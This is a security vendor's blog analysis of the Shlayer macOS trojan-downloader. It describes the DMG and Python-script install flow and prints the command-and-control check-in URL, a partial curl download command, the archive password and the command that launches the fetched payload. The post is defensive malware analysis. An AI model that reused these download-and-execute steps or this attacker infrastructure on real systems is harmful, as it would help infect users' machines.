--- title: Shlayer malware Analysis and Detection description: The first examples of the Shlayer malware family were discovered in February 2018. Since then, it has become the most popular macOS first-stage trojan-downloader. canonical_url: https://www.acronis.com/en/blog/posts/shlayer-malware/ locale: en last_updated: 2026-10-27 --- [Acronis Blog](https://www.acronis.com/en/blog/) # Shlayer malware Analysis and Detection The first examples of the Shlayer malware family were discovered in February 2018. Since then, it has become the most popular macOS first-stage trojan-downloader. Shlayer remotely installs other malicious or potentially unwanted applications such as Cimpli, Bnodlero, Geonei, and Pirrit adware for macOS X desktops and laptops, mostly targeting US-based users. Once installed, the adware collects the victim’s personal data and tracks browsing activities that can be used to target additional ads. This newest version of the trojan leverages a Python script for stealthier execution of the malicious payload and employs data encryption for communications with its external command and control (C&C) server. The Python script and crypto library are delivered inside of the trojan’s DMG installer. [Try Now](https://www.acronis.com/en/products/cloud/trial/) [![Image 2: Acronis Editorial Team](https://staticfiles.acronis.com/images/content/d85707ae91461544212d39836dc32b42.png)](https://www.acronis.com/en/blog/authors/acronis/ "Acronis Editorial Team") [Acronis Editorial Team](https://www.acronis.com/en/blog/authors/acronis/) 2 min read Last updated 04 June 2021 ## Top cyberthreat macOS now installs adware with a Python script The first examples of the Shlayer malware family were discovered in February 2018. Since then, it has become the most popular macOS first-stage trojan-downloader. Shlayer remotely installs other malicious or potentially unwanted applications such as Cimpli, Bnodlero, Geonei, and Pirrit adware for macOS X desktops and laptops, mostly targeting US-based users. Once installed, the adware collects the victim’s personal data and tracks browsing activities that can be used to target additional ads. This newest version of the trojan leverages a Python script for stealthier execution of the malicious payload and employs data encryption for communications with its external command and control (C&C) server. The Python script and crypto library are delivered inside of the trojan’s DMG installer. ### Static Analysis The Shlayer trojan (SHA-256: 05a3b34be443c7fabcb89a489c78fb7f27c896da29d125162c8b87f2d2128010) is a Macintosh Disk Image executable file. It is 122032 bytes in size. ### Installation Once mounted, the DMG file asks the user to start the Python script inside it. Once approved, “Installer.app” starts the Python script: **/Contents/MacOS/gjpWvvuUD847DzQPyBI** This script contains a malicious payload. In addition, it imports the crypto procedures from the following library: **/Contents/MacOS/goQWAJdbnuv6** This library includes the encryption and decryption procedures as well as a time-dependent key-generation procedure called _getKey()_. Apple’s IOKit Framework is used to get the Mac’s serial number: The trojan generates a time-based key that will be used for encryption and decryption of file paths and C&C commands. After that, it gets a series of unique identifiers such as UUID, session ID and serial number, then detects the Mac’s version for later use in composing a C&C check-in HTTP GET request. _http://api.typicalarchive.c_ _om/dst/?ac=1ec49721-65b4-478d-8b6c-88fa866bd79b&u=&s=&o=&b=8212215512 (URL was not working during analysis)_ The trojan attempts to download a file from the attacker’s server via **_curl,_** sending the following command-line parameters: **curl -f0l -o /tmp/** The downloaded file is a password-protected .zip archive. The script unpacks it with the ‘_unzip’_ tool into the temp folder: **/tmp/tmp** The password used for the archive is “**_2155122128178c496b-c803-4404-a8a6-8b6d6fdca3618212215512_**”. After that, the trojan searches the file with extension “.app” and parses it to get the application name. Then it looks for a file in the folder: **/tmp/tmp//Contents/MacOS/** It creates the full path name and sets the executable flag for the file: Then, with the help of findVolumePath _()_ and moveIcon _()_ functions, the trojan finds its application folder and the folder with Resources inside it, and copies the ‘_app8212215512.icns_’ icon file and the downloaded application into a folder with the following name: **/tmp/tmp//Contents/Resources/app.icns** Finally, Shlayer tries to start the downloaded malware with the command: **open -W --args -ac1ec49721-65b4-478d-8b6c-88fa866bd79b s ** It then deletes the downloaded archive and unpacked files: ### Conclusion [](https://www.acronis.com/en/blog/posts/shlayer-malware/)As shown above, this iteration of the Shlayer trojan-downloader now uses scripting in Python for its payload, a defense evasion technique used to bypass antivirus protection. While currently used to deliver nuisance applications like search redirectors and other adware, its potential harm is much greater. It now must be considered a significant security threat to macOS users, as it could be used to download any malicious application, not just PUAs, aided by new stealth features like its encrypted communication channel with its C&C server. Shlayer is likely to emerge in the short term as the Apple world’s most pervasive first-stage Trojan, making it attractive as the entry point for multistage cyberattacks that could threaten businesses and consumers with the theft, alteration and/or destruction of sensitive data. For Mac-based organizations that want to eliminate the nuisance and damaging threats like Shlayer represents, there is good news. The [advanced antimalware integrated](https://www.acronis.com/products/cloud/cyber-protect/security/) into Acronis Cyber Protect successfully prevents cyberthreats that target Mac systems. Whether you are an service provider interested in delivering [Acronis Cyber Platform (formerly Acronis Cyber Protect Cloud)](https://www.acronis.com/en-us/cloud/cyber-protect/) to your clients, or an IT professional looking to see if the [on-premises version](https://www.acronis.com/en-us/business/cyber-protect/trial/) suits your company, you can get more information today. [Cybersecurity](https://www.acronis.com/en/blog/tags/cybersecurity/) [Cyberthreats](https://www.acronis.com/en/blog/tags/cyberthreats/) [Threat detection](https://www.acronis.com/en/blog/tags/threat-detection/) ## Written by ![Image 3: Acronis Editorial Team](https://staticfiles.acronis.com/images/content/d85707ae91461544212d39836dc32b42.png) Acronis Editorial Team Acronis is a global cyber protection company that provides natively integrated cybersecurity, data protection, and endpoint management for managed service providers (MSPs), small and medium businesses (SMBs), and enterprise IT departments. [Previous post](https://www.acronis.com/en/blog/posts/sekhmet-ransomware/) [Sekhmet ransomware Analysis](https://www.acronis.com/en/blog/posts/sekhmet-ransomware/) [Next post](https://www.acronis.com/en/blog/posts/conti-ransomware/) [Conti ransomware shuts down backup services and unlocks files with Windows Restart Manager](https://www.acronis.com/en/blog/posts/conti-ransomware/) About Acronis Acronis is a leader in AI-native cyber protection, unifying data protection, cybersecurity, IT operations and hybrid infrastructure to deliver business continuity, security and compliance with less cost and complexity. More than 21,000 service providers trust Acronis to protect over 750,000 businesses in 150 countries. Acronis is headquartered in Schaffhausen, Switzerland. [Add as a preferred source on Google](https://google.com/preferences/source?q=acronis.com) ## Related stories Want to learn more? Read the latest stories featuring this solution on our blog. [Acronis Blog](https://www.acronis.com/en/blog/) ![Image 4: stc Bahrain and Acronis partner to bring advanced endpoint security to businesses in Bahrain](https://staticfiles.acronis.com/images/blog-card/9600f3eea83b8f4e168ea6c1409c8c26.png) [stc Bahrain and Acronis partner to bring advanced endpoint security to businesses in Bahrain](https://www.acronis.com/en/blog/posts/stc-bahrain-and-acronis-partner-to-bring-endpoint-security-to-businesses/) We are proud to announce a strategic partnership with stc Bahrain, expanding access to advanced cybersecurity services for businesses across Bahrain. **October 26, 2026**3 min read ![Image 5: Acronis expands MDR toward broader workspace protection](https://staticfiles.acronis.com/images/blog-card/18e90e89f5ec4ef0901f19008d4ccbf2.png) [Acronis expands MDR toward broader workspace protection](https://www.acronis.com/en/blog/posts/acronis-expands-mdr-toward-broader-workspace-protection/) Acronis is expanding the MDR service with capabilities that make this expertise easier to deliver and help partners address more risks. The developments build on a broader commitment to managed security: helping service providers protect the connected workspace while giving customers access to the expertise needed to investigate threats, respond effectively and maintain business continuity. **October 13, 2026**6 min read ![Image 6: Acronis Cyber Protect v17: Improving cyber resilience across people, data and infrastructure](https://staticfiles.acronis.com/images/blog-card/c2467c28c0278609eb3560cb2a8a4d53.png) [Acronis Cyber Protect v17: Improving cyber resilience across people, data and infrastructure](https://www.acronis.com/en/blog/posts/acronis-cyber-protect-v17-improving-cyber-resilience-across-people-data-and-infrastructure/) Acronis Cyber Protect v17 Q3 2026 expands integrated cyber protection with new capabilities that strengthen security awareness, improve backup operations and extend protection across more virtual environments. The result is stronger cyber resilience, simplified operations and broader protection delivered through a single platform. **October 05, 2026**4 min read